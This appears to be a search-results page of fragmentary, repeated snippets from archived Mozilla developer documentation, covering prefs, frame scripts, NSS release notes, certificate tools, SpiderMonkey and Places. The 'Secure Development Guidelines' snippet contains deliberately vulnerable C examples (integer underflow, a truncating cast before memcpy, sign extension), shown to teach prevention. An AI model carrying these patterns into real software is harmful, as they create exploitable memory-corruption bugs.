ide range of text zoom factors on a content window. a zoom factor of 1.0 represents 100%, or normal zoom. for double-sized text, use nsidomwindow::settextzoom(2.0); using accessibility preferences there are a number of prefs related to accessibility. for the most part, an automatic reframe is performed when one of these prefs is changed. a reframe fixes the appearance of the page to match the
new prefs, without reloading the document over the network. be aware that in debug builds, this can cause a great number of assertions (bug 71598) to use prefs in embedding, use something like the following code: #include "nsipref.h"; nsresult rv; nscomptr<nsipref> prefs(do_getservice(ns_pref_contractid, &rv)); prefs->setboolpref("bool.pref.name", pr_true /* or pr_false */); prefs->setintpref("i...
... reloading the document over the network. ...
... that in debug builds, this can cause a great number of assertions (bug 71598) to use prefs in embedding, use something like the following code: #include "nsipref.h"; nsresult rv; nscomptr<nsipref> prefs(do_getservice(ns_pref_contractid, &rv)); prefs->setboolpref("bool.pref.name", pr_true /* or pr_false */); prefs->setintpref("int.pref.name",
newvalue); prefs->setcharpref("string.pref.name",
newcharstarvalue); to manually add a pref to your settings, add a line like the following to your prefs.js: user_pref("accessibility.browsewithcaret", true); accessibility prefs reference the following is a description of what accessibility prefs give us (or will give us), for accessibility: functionality implementation works as of ...
...And 4 more matches
Contributing to the Mozilla code base
if you have any difficulties getting involved or finding answers to your questions, please come and ask your questions in our chatroom, where we can help you get started. ...
... to work on firefox and finding a bug that's a good fit for your skills can be a challenge. we're always looking for ways to improve this process: making mozilla more open, accessible, and easier to participate with. if you're having any trouble following this documentation, or hit a barrier you can't get around, please contact mike hoye at mhoye@mozilla.com. we're determined to solve hurdles for
new contributors. what skills do i need? mozilla is a large project and we are thrilled to have contributors with very diverse skills below is a table with our currently available projects to contribute to, along with the skills needs and links to their documentation. project skills documentation/onboarding firefox browser (core layers) c++ firefox developers docume...
...ere are a number of ways to do this: search bugzilla for relevant keywords. see pages on bugzilla for further help learn the bugzilla component, with which your pet peeve is implemented, using the components list. browse this component on bugzilla for related bugs ask in our matrix channels : #introduction:mozilla.org or #developers:mozilla.org find a bug we've identified as a good fit for
new contributors. with more than a million bugs filed in bugzilla, it can be hard to know where to start, so we've created these bug categories to make getting involved a little easier: codetribute - our site for finding bugs that are mentored, some are good first bugs, some are slightly harder. your mentor will help guide you with the bug fix and through the submission and landing process. good...
...And 4 more matches
Frame script loading and lifetime
if allowdelayedload is false, the script will only be loaded into frames which are open when the cal...
... if allowdelayedload is false, the script will only be loaded into frames which are open when the call was made. if the message manager is a browser message manager, you should always pass true here. ...
... into that one tab. passing allowdelayedload is a way to ensure that the script is loaded correctly, in case the tab is not ready when making the call. if you use allowdelayedload, you can cancel it by using removedelayedframescript: var mm = window.messagemanager; mm.removedelayedframescript("chrome://my-e10s-extension/content/frame-script.js"); this means we will stop loading the script into
new tabs. note that this function will not remove any scripts which have been loaded earlier. frame script lifetime frame scripts are loaded as soon as loadframescript() is called. if you've set allowdelayedload, the script is loaded into a
new tab as soon as it is created. frame scripts are associated with a browser tab and not with a page. so once you load them, they will stay loaded until the t...
...And 4 more matches
Performance
r(window, action) { // ... do some work on the window } function dosomething(message) { result = helper(content, message.data) sendasyncmessage("my-addon:response-from-child", {something: result}) } addmessagelistener("my-addon:request-from-parent", dosomething) why is this bad? because declared functions are also objects. and since frame scripts get evaluated for each tab this means
new function objects get instantiated,
new constants get computed, block scopes must be set up etc. while it may seem fairly innocencous in this toy example, real scripts often have a lot more functions and initialize some fairly heavyweight objects. better: addon.js as above // framescript.js components.utils.import("resource://my-addon/processmodule.jsm", {}).addframe(this) // processmodule.j...
...ts are only initialized once, which makes them suitable for stateless callbacks. but care must be taken to not leak references to the frame script global when it is passed into a jsm. alternatively the frame's unload event or weak maps can be used to ensure that frames can be cleaned up when their respective tab is closed. ...
...pt global when it is passed into a jsm. alternatively the frame's unload event or weak maps can be used to ensure that frames can be cleaned up when their respective tab is closed. store heavyweight state once per process bad: // addon.js var main =
new myaddonservice(); main.onchange(statechange); function statechange() { services.mm.broadcastasyncmessage("my-addon:update-configuration", {
newconfig: main.serialize()}) } // framescript.js var maincopy; function onupdate(message) { maincopy = myaddonservice.deserialize(message.data.
newconfig); } addmessagelistener("my-addon:update-configuration", onupdate) // maincopy used by other functions the main issue here is that a separate object is kept for each tab. not only does that increase memory footprint but the deserialization...
...And 4 more matches
Browser API
e). browser api concepts and usage the browser api consists of two major parts: custom <iframe> attributes: by adding a mozbrowser attribute to the <iframe> element we can make it appear like a top-level browser window to the embedded content. this means that window.top, window.parent, window.frameelement, etc. should not reflect the frame hierarchy. api extensions: the api includes several
new methods and events to manipulate and listen for changes to the embedded content's state, interited by the htmliframeelement interface. browser api interfaces to support the requirement of a browser <iframe>, the htmliframeelement dom interface has been extended with
new methods that give the <iframe> some super powers. navigation methods the following navigation methods allow navigation thro...
...ameelement.setvolume() sets the current volume of the browser <iframe>. htmliframeelement.mute() mutes any audio playing in the browser <iframe>. htmliframeelement.unmute() unmutes any audio playing in the browser <iframe>. htmliframeelement.getmuted() indicates whether the browser <iframe> is currently muted. event-related methods in order to manage the browser <iframe>'s content, many
new events were added (see below). the following methods are used to deal with those events: the <iframe> gains support for the methods of the eventtarget interface addeventlistener(), removeeventlistener(), and dispatchevent(). htmliframeelement.sendmouseevent() sends a mouseevent to the <iframe>'s content. utility methods last, there are some utility methods, useful for apps that host a br...
... enabled devices only. htmliframeelement.removenextpaintlistener() removes a handler previously set with addnextpaintlistener(). htmliframeelement.zoom() changes the zoom factor of the browser <iframe>'s content. this is particularly useful for zooming in/out on non-touch-enabled devices. events in order to allow an application to manage the browser <iframe>, the application can listen for
new events about what's happening within the browser <iframe>. the following
new events can be listened for: mozbrowseractivitydone sent when something inside the browser <iframe> triggers a web activity, and that web activity's message is consumed by the receiving app. mozbrowserasyncscroll sent when the browser <iframe> content scrolls (the apcz version.) see also mozbrowserscroll. note that ...
...And 4 more matches
Infallible memory allocation
outine, the situation is different. under extreme memory conditions, it's possible that the allocation will fail; however, the allocation routine will not, in this scenario, return to your code. instead, the application will terminate. this should be rare, because the memory management system will do everything it can to find the memory you've asked for. choosing a memory allocator as you write
new code that needs to allocate memory, there are some simple rules to follow to help you decide whether to use a fallible or an infallible memory allocator: if you're allocating what may be a large chunk of memory, you should allocate the memory fallibly (using malloc() for example), and check the result to be sure it's not null. you should do this for large memory allocations because in extremel...
...terminate if an infallible allocator can't find the memory you requested. if you don't know whether or not the memory will be large, use the standard malloc() routine. be sure to check the result for null. be warned that any allocation that's controlled by the user or web content may grow bigger than you expect; people and pages do surprising things all the time! when instantiating objects, the
new operator creates them infallibly by default. if you want to allocate them fallibly, use the syntax
new (fallible) foo(). when in doubt, use the infallible allocator and don't null check. ns_alloc() is also infallible. explicitly infallible memory allocators the following memory allocators are explicitly infallible, and will remain so; they are guaranteed to return a valid memory pointer...
...se the syntax
new (fallible) foo(). when in doubt, use the infallible allocator and don't null check. ns_alloc() is also infallible. explicitly infallible memory allocators the following memory allocators are explicitly infallible, and will remain so; they are guaranteed to return a valid memory pointer. p = moz_xmalloc(); p = moz_xcalloc(); p = moz_xrealloc(); p = moz_xstrdup(); f =
new foo(); farray =
new foo[]; n = ::operator
new(...); narray = ::operator
new[](...); explicitly fallible memory allocators these memory allocators are explicitly fallible, and will remain so. when using these, you must check to ensure the resulting value isn't null before attempting to use the returned memory. ...
...And 4 more matches
Dict.jsm
introduced in firefox 5, this is now obsolete and has been removed in firefox 40: use es2015 map. the dict.jsm javascript code module offers routines for managing dictionaries of key/value pairs. to use it, you first need to import the code module into your javascript scope: components.utils.import("resource://gre/modules/dict.jsm"); creating a dictionary you can create a
new, empty dictionary by simply calling the dict() constructor: var
newdict =
new dict(); if you wish, you may also pass in an object literal of key/value pairs with which to initialize the dictionary: var someobj = {}; var
newdict =
new dict({key1: "foo", key2: someobj}); note that values may be any javascript object type. note: you can actually specify non-strings as keys; these are converted to strin...
...ct =
new dict({key1: "foo", key2: someobj}); note that values may be any javascript object type. note: you can actually specify non-strings as keys; these are converted to strings before being used, so they're documented here as if they were a string parameter. in firefox 19 and above, you may also pass a json string to initialize the dictionary: var somejson = '{key1: "foo", key2: {}}'; var
newdict =
new dict(somejson); note: any string you pass will be assumed to be json. method overview dict copy(); boolean del(string akey); object get(string akey, [optional] object adefault); boolean has(string akey); array listitems(); array listkeys(); array listvalues(); void set(string akey, object avalue); stri...
..., no guarantees are made as to what will happen. values iterator returns an iterator over all the values in the dictionary. note: the order in which items are returned is arbitrary, and may change without notice. in addition, if the dictionary changes during iteration, no guarantees are made as to what will happen. constructor dict() creates and returns a
new dictionary object. dict dict(); dict dict( object initalkeysandvalues ); parameters initialkeysandvalues optional a object containing key/value pairs with which to initialize the dictionary. return value a
newly created dictionary object implementing the methods described in this article. methods copy() returns a shallow copy of the dictionary; that is, a copy of the dictionary in...
...And 4 more matches
Downloads.jsm
the downloads.jsm javascript code module provides a single entry point to interact with the downloading capabilities of the platform, including starting
new downloads, controlling ongoing downloads, and retrieving download-related configuration. to use it, you first need to import the code module into your javascript scope: components.utils.import("resource://gre/modules/downloads.jsm"); method overview promise<download> createdownload(object aproperties); promise<void> fetch(asource, atarget, [optional] object aoptions); promise<downloadlist> getlist(atype); promise<downloadsummary> getsummary(atype); constants constant description public work on downloads that were not started from a private browsing window. p...
...use this to verify if ex instanceof downloads.error, before reading the exception properties with the error details. example (using task.jsm): try { yield downloads.fetch(sourceuri, targetfile); } catch (ex if ex instanceof downloads.error && ex.becausetargetfailed) { console.log("unable to write to the target file, ignoring the error."); } methods createdownload() creates a
new download object. promise<download> createdownload( object aproperties ); parameters aproperties provides the initial properties for the
newly created download. this matches the serializable representation of a download object. some of the most common properties in this object include: source: string containing the uri for the download source. alternatively, may be an nsiuri, a downlo...
...get file. alternatively, may be an nsifile, a downloadtarget object, or an object with the following properties: path: string containing the path of the target file. saver: optional string representing the class of the download operation. if omitted, defaults to "copy". alternatively, may be the serializable representation of a downloadsaver object. promise resolves to the
newly created download object. fetch() downloads data from a remote network location to a local file. this download method does not provide user interface or the ability to cancel or restart the download programmatically. for that, you should obtain a reference to a download object using the createdownload() function. since the download cannot be restarted, any partially downloaded data will not ...
...And 4 more matches
source-editor.jsm
sourceeditor.themes.mozilla sourceeditor.defaults.undolimit 200 event name constants these constants provide the names of the editor events for which you can listen. constant value description sourceeditor.events.blur "blur" fired when the editor loses focus. sourceeditor.events.breakpoint_change "breakpointchange" fired when a
new breakpoint is added, or when an existing breakpoint is removed. this happens both when the api is used to make the change or when the ui is used to do it. sourceeditor.events.context_menu "contextmenu" fired when the editor's context menu is invoked, but before it's opened. sourceeditor.events.dirty_changed "dirtychanged" fired when the dirty state of the editor is ...
...alineindex, [optional] string acondition ); parameters alineindex the 0-based line number at which to place the breakpoint. acondition optional a string describing the condition under which the breakpoint should be triggered. this information is simply recorded as part of the breakpoint annotation. need link to text about handling breakpoint conditions here. addeventlistener() adds a
new event listener to the editor. you can listen for any of the events listed in event name constants. to stop listening for the event, call removeeventlistener(). void addeventlistener( string aeventtype, function acallback ); parameters aeventtype the name of the event type to listen for; see event name constants for possible values. acallback the function to call when the specified ev...
...iption line number the 0-based line number on which the breakpoint is set. condition string the condition string that was specified when the breakpoint was set. getcaretoffset() returns the current caret position (insertion point) as an offset into the text. number getcaretoffset(); parameters none. return value the 0-based offset into the text at which
newly-typed characters will be inserted. getcaretposition() returns an object describing the position of the caret (insertion point) in terms of its line number and column. object getcaretposition(); parameters none. return value the returned object describes the caret position: property type description line number the 0-based line number on which the caret is ...
...And 4 more matches
Localization sign-off reviews
date for migrating from one product release channel to the next is rapidly approaching. you need to make sure that your work can effectively be compiled into a build for the next release channel. here is a detailed overview of what a sign-off review is and who it's meant for: a sign-off review: is performed as a qa measure for maintaining a localization from release-to-release. only evaluates
new l10n work. this is done by generating a diff between the
new release revision being considered and the previously approved release revision. focuses on technical accuracy and completion of l10n work, not translation quality. evaluates
new release revisions, not entire l10n repos. does not need to be approved before revision merge between release channels, although it is recommended. sign-off ...
...l10n repos. does not need to be approved before revision merge between release channels, although it is recommended. sign-off review criteria since the scope of each qa review process varies, the criteria used to evaluate a localizer's work also varies. in principle, they share basic elements, but sign-off reviews are only for evaluating the changes between your latest approved revision and the
new revision you've submitted for release approval. hence, unless a localizer makes a change within the
new revision that nullifies the approved work in the previous revision, the sign-off criteria will be significantly less comprehensive than a technical review. here is some of the criteria we use to perform sign-off reviews: increased amount of untranslated strings we look for previously t...
...this is a common problem with some tools. encoding some tools add bom to utf-8 encoded files, and some change the encoding altogether. mistakenly localized code we look for changes in localized code that should not have been localized or wasn't localized in the previous revision. ...
...And 4 more matches
Nonblocking IO In NSPR
function on the file descriptor. creating a nonblocking socket only sockets can be made nonblocking. regular files always operate in blocking mode. this is not a serious constraint as one can assume that disk i/o never blocks. fundamentally, this constraint is due to the fact that nonblocking i/o and <tt>select()</tt> are only available to sockets on some platforms (e.g., winsock). ...
...or. creating a nonblocking socket only sockets can be made nonblocking. regular files always operate in blocking mode. this is not a serious constraint as one can assume that disk i/o never blocks. fundamentally, this constraint is due to the fact that nonblocking i/o and <tt>select()</tt> are only available to sockets on some platforms (e.g., winsock). ...
...ocket only sockets can be made nonblocking. regular files always operate in blocking mode. this is not a serious constraint as one can assume that disk i/o never blocks. fundamentally, this constraint is due to the fact that nonblocking i/o and <tt>select()</tt> are only available to sockets on some platforms (e.g., winsock). in nspr, a
new socket returned by <tt>pr_
newtcpsocket()</tt> or <tt>pr_
newudpsocket()</tt> is always created in blocking mode. ...
...And 4 more matches
Process Management and Interprocess Communication
note that the functions described in this chapter are not available for macos or win16 operating systems. ...
... note that the functions described in this chapter are not available for macos or win16 operating systems. ...
... note that the functions described in this chapter are not available for macos or win16 operating systems. ...
...And 4 more matches
NSS_3.12.2_release_notes.html
the bug fixes in nss 3.12.2 are described in the "bugs fixed" section below. nss 3.12.2 is tri-licensed under the mpl 1.1/gpl 2.0/lgpl 2.1. distribution information the cvs tag for the nss 3.12.2 release is nss_3_12_2_rtm. nss 3.12.2 requires nspr 4.7.1. see the documentation section for the build instructions. ...
...ctory containing three subdirectories: include - nss header files lib - nss shared libraries bin< - nss tools and test programs you also need to download the nspr 4.7.1 binary distributions to get the nspr 4.7.1 header files and shared libraries, which nss 3.12.2 requires. nspr 4.7.1 binary distributions are in https://ftp.mozilla.org/pub/mozilla.org/nspr/releases/v4.7.1/. ...
...ree subdirectories: include - nss header files lib - nss shared libraries bin< - nss tools and test programs you also need to download the nspr 4.7.1 binary distributions to get the nspr 4.7.1 header files and shared libraries, which nss 3.12.2 requires. nspr 4.7.1 binary distributions are in https://ftp.mozilla.org/pub/mozilla.org/nspr/releases/v4.7.1/. ...
...And 4 more matches
NSS 3.12.4 release notes
the bug fixes in nss 3.12.4 are described in the "bugs fixed" section below. nss 3.12.4 is tri-licensed under the mpl 1.1/gpl 2.0/lgpl 2.1. distribution information this release is built from the source, at the cvs repository rooted at cvs.mozilla.org:/cvsroot, with the cvs tag nss_3_12_4_rtm. nss 3.12.4 requires nspr 4.8. this is not a hard requirement. our qa tested nss 3.12.4 with nspr 4.8, but it should work with nspr 4.7.1 or later. ...
...ps 140-2 validation. currently nss 3.12.4 is in the "review pending" state in the fips 140-2 pre-validation list at http://csrc.nist.gov/groups/stm/cmvp/documents/140-1/140inprocess.pdf added crl distribution point support (see cert.h). cert_decodecrlissuingdistributionpoint cert_findcrlissuingdistpointexten the old documentation of the expression matching syntax rules was incorrect, and the
new corrected documentation is as follows for public nssutil functions (see portreq.h): port_regexpvalid port_regexpsearch port_regexpcasesearch these functions will match a string with a shell expression. the expressions accepted are based loosely on the expressions accepted by zsh. expected return values: non_sxp if exp is a standard string invalid_sxp if exp is a shell expression, but inval...
...|bar) will match either the expression foo, or the expression bar. at least one '|' separator is required. more are permitted. expressions inside unions may not include unions or exclusions. inside a union, to be matched and not treated as a special character, these characters must be escaped: \ ( | ) [ ~ except when they occur inside a bracketed expression, where only \ and ] require escaping.
new functions in the nss shared library: pk11_isinternalkeyslot (see pk11pub.h) secmod_open
newslot (see pk11pub.h)
new error codes (see secerr.h): sec_error_bad_info_access_method sec_error_crl_import_failed
new oids (see secoidt.h) sec_oid_x509_any_policy the nssckbi pkcs #11 module's version changed to 1.75. obsolete code for win16 has been removed. support for openvms has been remove...
...And 4 more matches
NSS 3.20 release notes
introduction the nss team has released network security services (nss) 3.20, which is a minor release. distribution information the hg tag is nss_3_20_rtm. nss 3.20 requires nspr 4.10.8 or
newer. nss 3.20 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_20_rtm/src/
new in nss 3.20
new functionality the tls library has been extended to support dhe ciphersuites in server applications.
new functions in ssl.h ssl_dhegroupprefset - configure the set of allowed/enabled dhe group parameters that can be used by nss for a server socket. ssl_enableweakdheprimegroup - enable the use of weak dhe group parameters that are smaller than default minimum si...
...onality the tls library has been extended to support dhe ciphersuites in server applications.
new functions in ssl.h ssl_dhegroupprefset - configure the set of allowed/enabled dhe group parameters that can be used by nss for a server socket. ssl_enableweakdheprimegroup - enable the use of weak dhe group parameters that are smaller than default minimum size of the library. ...
...gure the set of allowed/enabled dhe group parameters that can be used by nss for a server socket. ssl_enableweakdheprimegroup - enable the use of weak dhe group parameters that are smaller than default minimum size of the library.
new types in sslt.h ssldhegrouptype - enumerates the set of dhe parameters embedded in nss that can be used with function ssl_dhegroupprefset
new macros in ssl.h ssl_enable_server_dhe - a socket option user to enable or disable dhe ciphersuites for a server socket notable changes in nss 3.20 the tls library has been extended to support dhe ciphersuites in server applications. for backward compatibility reasons, the server side implementation of the tls library keeps all dhe ciphersuites disabled by default. they can be...
...And 4 more matches
PKCS11 Implement
rver products will also support of pkcs #11 version 2.0. how nss calls pkcs #11 functions this section is organized according to the categories used in pkcs #11: cryptographic token interface standard, version 2.0. to understand this section, you should be familiar with the standard specification. general-purpose functions c_initialize the nss calls c_initialize on startup or when it loads a
new module. the nss always passes null, as required by the pkcs #11 specification, in the single c_initialize parameter preserved. c_finalize the nss calls c_finalize on shutdown and whenever it unloads a module. c_getfunctionlist the nss calls c_getfunctionlist on startup or when it loads a
new module. the function list returned should include all the pkcs 2.0 function calls. if you don't impl...
...the version numbers, manufacturer ids, and so on are displayed when the user views the information. the supplied library names are used as the default library names; currently, these names should not include any double quotation marks. ...
...nufacturer ids, and so on are displayed when the user views the information. the supplied library names are used as the default library names; currently, these names should not include any double quotation marks. (this is more restrictive than pkcs 2.0 and may change in future versions of nss.). slot and token management c_getslotlist the nss calls c_getslotlist on startup or when it loads a
new module, requests all the module's slots, and keeps track of the list from that point on. the slots are expected to remain static: that is, the module never has more slots or fewer slots than the number on the original list. c_getslotinfo the nss calls c_getslotinfo on startup or when it loads a
new module and reads in the information that can be viewed on the slot information page. if the ckf_...
...And 4 more matches
gtstd.html
or use professional grade ca software, such as red hat's dogtag certificate system, to set up and operate your own ca and issue your own certificates. for complete information about the command-line options used in the examples that follow, see using the certificate database tool. setting up the ca db and certificate set up the ca with its own separate set of databases. create a
new certificate database in the ca_db directory. >mkdir ca_db >certutil -n -d ca_db create the self-signed root ca certificate, specifying the subject name for the certificate. >certutil -s -d ca_db -n "myco's root ca" -s "cn=my ca,o=myco,st=california,c=us" -t "ct,," -x -2 enter password or pin for "communicator certificate db": extract the ca certificate from the ca's certi...
...rtificate that is trusted to issue both client (c) and server (t) ssl certificates. the u flag indicates that the private key for the ca certificate is present in this set of databases, so the ca can issue ssl client and server certificates with these databases. setting up the server db and certificate the sections that follow describe how to set up the server db and certificate: create a
new certificate database in the server_db directory. >mkdir server_db >certutil -n -d server_db import the
new ca certificate into the server's certificate database, and mark it trusted for issuing certificates for ssl client and server authentication. >certutil -a -d server_db -n "myco's root ca" -t "tc,," -a -i ca_db/rootca.crt create the server certificate request, specifying t...
...make the common name (cn) be identical to the hostname of the server. note that this step generates the server's private key, so it must be done in the server's database directory. >certutil -r -d server_db -s "cn=myco.mcom.org,o=myco,st=california,c=us" -a -o server_db/server.req enter password or pin for "communicator certificate db": this step simulates the ca signing and issuing a
new server certificate based on the server's certificate request. the
new cert is signed with the ca's private key, so this operation uses the ca's databases. this step leaves the server's
new certificate in a file. >certutil -c -d ca_db -c "myco's root ca" -a -i server_db/server.req -o server_db/server.crt -2 -6 enter password or pin for "communicator certificate db": import (add) the ne...
...And 4 more matches
NSS Tools crlutil
the key and certificate management process generally begins with creating keys in the key database, then generating and managing certificates in the certificate database(see certutil tool) and continues with certificates expiration or revocation. this document discusses certificate revocation list management. ...
...g, issue the command without options, or with the -h option. options and arguments options specify an action and are uppercase. option arguments modify an action and are lowercase. certificate revocation list management tool command options and their arguments are defined as follows: options -g create
new certificate revocation list(crl). -d delete certificate revocation list from cert database. -i import a crl to the cert database -e erase all crls of specified type from the cert database ...
...: md2 | md4 | md5 | sha1 | sha256 | sha384 | sha512 -n nickname specify the nickname of a certificate or key to list, create, add to a database, modify, or validate. bracket the nickname string with quotation marks if it contains spaces. -o output-file specify the output file name for
new crl. bracket the output-file string with quotation marks if it contains spaces. if this argument is not used the output destination defaults to standard output. -t crl-type specify type of crl. possible types are: 0 - sec_krl_type, 1 - sec_crl_type. this option is obsolete -u url spec...
...And 4 more matches
Tutorial: Embedding Rhino
.lang.system.out.println(3)" 3.0 undefined implementing interfaces using rhino, javascript objects can implement arbitrary java interfaces. there's no java code to write -- it's part of rhino's liveconnect implementation. for example, we can see how to implement java.lang.runnable in a rhino shell session: js> obj = { run: function() { print("hi"); } } [object object] js> obj.run() hi js> r =
new java.lang.runnable(obj); [object object] js> t =
new java.lang.thread(r) thread[thread-0,5,main] js> t.start() hi adding java objects the next example is runscript2. this is the same as runscript, but with the addition of two extra lines of code: object wrappedout = context.javatojs(system.out, scope); scriptableobject.putproperty(scope, "out", wrappedout); these lines add a global variable...
...(cx, scope, scope, functionargs); string report = "f('my args') = " + context.tostring(result); system.out.println(report); } javascript host objects defining host objects custom host objects can implement special javascript features like dynamic properties. counter example the counter example is a simple host object. we'll go through it method by method below. ...
...for the counter example, no initialization work is needed, so the implementation is empty. ...
...And 4 more matches
JS_ConstructObject
since jsapi 16this feature is obsolete. although it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. as of spidermonkey 1.8.8, js_constructobject and js_constructobjectwitharguments have been removed from the jsapi. the preferred alternative is to save a copy of the constructor function for the class, then to call it using js_
new. a less-preferred short-term solution might be to use this reimplementation of the method, but note that this reimplementation is not guaranteed to continue working across spidermonkey releases. create a
new object of the specified class, with the specified prototype and parent, then invokes a constructor function to initialize the
new object. syntax jsobject * js_constructobject(jscontext *...
...function to initialize the
new object. syntax jsobject * js_constructobject(jscontext *cx, jsclass *clasp, jsobject *proto, jsobject *parent); jsobject * js_constructobjectwitharguments(jscontext *cx, jsclass *clasp, jsobject *proto, jsobject *parent, unsigned int argc, jsval *argv); name type description cx jscontext * the context in which to create the
new object. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. clasp jsclass * pointer to the class to use for the
new object. if this is null, an ordinary javascript object is created. proto jsobject * the object to serve as the
new object's prototype, or null. ...
... argc unsigned int (only in js_constructobjectwitharguments) the number of arguments to pass to the constructor. argv jsval * (only in js_constructobjectwitharguments) the array of arguments to pass to the constructor. this may be null if argc is zero. ...
...And 4 more matches
JS_InitClass
c *static_fs); name type description cx jscontext * pointer to a js context from which to derive runtime information. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. obj js::handleobject pointer to the "globals" object to use for initializing the class. this must not be null. ...
... build, the caller must be in a request on this jscontext. obj js::handleobject pointer to the "globals" object to use for initializing the class. this must not be null. once js_initclass creates the
new class's constructor, it stores the constructor as a property in this object. so, for example, if this object is js_getglobalobject(cx), then javascript code will be able to see the
new class as a global name. parent_proto js::handleobject pointer to an object to be used as a prototype. js_initclass always creates a
new prototype object that serves as the __proto__ for class instances; parent_proto becomes the __proto__ of that prototype object. clasp jsclass * pointer to the class structure to initialize. this structure defines the class for use by...
... to the class structure to initialize. this structure defines the class for use by other api functions. constructor jsnative the constructor for the class. its scope matches that of the obj argument. if constructor is null, then static_ps and static_fs must also be null. unlike other jsnatives, this function must not call js_this or js_this_object. ...
...And 4 more matches
SpiderMonkey 1.8.8
these release notes are an incomplete draft and were initially seeded from the 1.8.5 release notes, so lots of the information here isn't actually
new to spidermonkey 1.8.8 (nor is it even the case that the version number will be 1.8.8!). the mozilla javascript team is pleased to announce the release of spidermonkey 1.8.8. you can download full source code here: insert-actual-link-when-the-release-happens (md5 checksum: insert-actual-hash-here). spidermonkey 1.8.8 is the javascript engine that shipped in firefox 10.0. it continues to improve performance over previous spidermonkey releases, with ongoing jit compilation work and with the introduction of type inference to enable faster jitted code. it also contains
new language and api features described in detail below. please ...
...or file bugs at bugzilla.mozilla.org under product: core, component: javascript engine. ...
...pported. on all other platforms the jit is simply disabled; javascript code runs in an interpreter, as in previous versions. it's the same language, just not as fast. migrating to spidermonkey 1.8.8 the following features in earlier versions of spidermonkey have been dropped. the jsresolve_classname and jsresolve_with resolve flags (passed to jsclass.resolve when jsclass.flags contains jsclass_
new_resolve) have been removed. spidermonkey 1.8.8 is not binary-compatible with previous releases, nor is it source-code compatible. many jsapi types, functions, and callback signatures have changed, though most of them still have the same names and do the same things. applications will need significant changes, but most of those changes will be detected by the c/c++ compiler, so they are easy to d...
...And 4 more matches
Secure Development Guidelines
08x\r\n”, foo); } integer overflows/underflows example of an integer underflow int main() { unsigned int foo = 0; printf(“foo: 0x%08x\r\n”, foo); foo--; printf(“foo: 0x%08x\r\n”, foo); } integer overflows/underflows real-life example (bug 303213) jsbool js_str_escape(jscontext *cx, jsobject *obj, unsigned int argc, jsval *argv, jsval *rval){ ...
newchars = (jschar *) js_malloc(cx, (
newlength + 1) * sizeof(jschar)); ... for (i = 0, ni = 0; i < length; i++) { if ((ch = chars[i]) < 128 && is_ok(ch, mask)) {
newchars[ni++] = ch; ... } ... } ... } integer overflows/underflows: prevention difficult to fix: you need to check every arithmetic operation with user input arithmetic libraries ...
...don’t mix signed and unsigned integers use unsigned integers for sizes, offsets, and indexes casting and truncation example: void vuln_funct() { u_int32_t size1 = 0xffffffff; u_int16_t size2 = size1; void *ptr = malloc(size2); if (!ptr) exit(exit_failure); memcpy(ptr, user_data, size1); } casting issues: sign extension example: int main() { int32_t
new_size = 0; int8_t size = 0xff;
new_size = size; printf("0x%08x\r\n",
new_size); } casting issues: sign extension prevention be careful with signed integers use unsigned integers for sizes, offsets, and indexes denial of service: divide by zero example: int main() { int a, b; if (argc != 3) return 1; a = atoi(argv[1]); b = atoi(argv[2]); ...
...free accessing data after a free() or delete can lead to undefined behavior some debug tools might be able catch some cases un-initialized data example: int main() { char *uninitialized_ptr; printf("0x%08x\r\n", uninitialized_ptr); return 0; } $ ./test 0x8fe0103 un-initialized data: prevention initialize your variables! ...
...And 4 more matches
A Web PKI x509 certificate primer
gram. self-signed certificates these are the steps to generate a certificate for www.example.com. replace this value with the actual server name in the steps below. 1. generate the key using the following command: openssl genpkey -algorithm rsa -out key.pem -pkeyopt rsa_keygen_bits:2048 2048 is considered secure for the next 4 years. 2. generate csr using this command: openssl req -
new -key key.pem -days 1096 -extensions v3_ca -batch -out example.csr -utf8 -subj '/cn=www.example.com' this creates a
new certificate signing request (csr) that will be valid for 3 years. 3. write extensions file by creating a
new file with name openssl.ss.cnf with the following contents: basicconstraints = ca:false subjectaltname =dns:www.example.com extendedkeyusage =serverauth 4. ...
....net below to match your domains. assumptions: you are the domain owner of *.example.com and *.example.net. your computer is not connected to the internet. steps to generate your ca root certificate: generate key "openssl genpkey -algorithm rsa -out rootkey.pem -pkeyopt rsa_keygen_bits:4096" 4096 is considered secure for the next 15 years. generate csr "openssl req -
new -key rootkey.pem -days 5480 -extensions v3_ca -batch -out root.csr -utf8 -subj '/c=us/o=orgname/ou=someinternalname' make a
new certificate signing request (csr) that will be valid for 15 years. write extensions file (openssl.root.cnf) basicconstraints = critical, ca:true keyusage = keycertsign, crlsign subjectkeyidentifier = hash nameconstraints = permitted;dns:example.co...
...enssl.root.cnf -out root.pem" now you have ca pem file with its associated key. generate your intermediate cert the following steps create an intermediate cert that is valid for 8 years. generate key "openssl genpkey -algorithm rsa -out r=intkey.pem -pkeyopt rsa_keygen_bits: 3072" a 3072 bit key is considered secure for the next 8 years. generate csr "openssl req -
new -key intkey.pem -days 2922 -extensions v3_ca -batch -out int.csr - utf8 -subj '/c=us/o=orgname/ou=someinternalname2' make a
new certificate signing request (csr) that will be valid for 8 years. write extensions file (openssl.int.cnf) basicconstraints = critical, ca:true authoritykeyidentifier = keyid, issuer subjectkeyidentifier = hash keyusage = keycertsign, crlsign ex...
...And 4 more matches
Querying Places
query places queries have several basic parts: the query object: nsinavhistoryquery, holds the search parameters the query options: nsinavhistoryqueryoptions, allows configuration of the search result the history service: nsinavhistoryservice, executes the query the first first step is to create the query and options, and fill them with the parameters you want. use nsinavhistoryservice.get
newquery() and nsinavhistoryservice.get
newqueryoptions() to retrieve empty objects. the defaults for these objects will result in a query that returns all of your browser history in a flat list: chromeutils.definemodulegetter(this, "placesutils", "resource://gre/modules/placesutils.jsm"); // no query options set will get all history, sorted in database order, // which...
...the defaults for these objects will result in a query that returns all of your browser history in a flat list: chromeutils.definemodulegetter(this, "placesutils", "resource://gre/modules/placesutils.jsm"); // no query options set will get all history, sorted in database order, // which is nsinavhistoryqueryoptions.sort_by_none. let options = placesutils.history.get
newqueryoptions(); // no query parameters will return everything let query = placesutils.history.get
newquery(); // execute the query let result = placesutils.history.executequery(query, options); result types nsinavhistoryqueryoptions has a resulttype property that allows configuration of the grouping and level of detail to be returned in the results. the different values for this property are ...
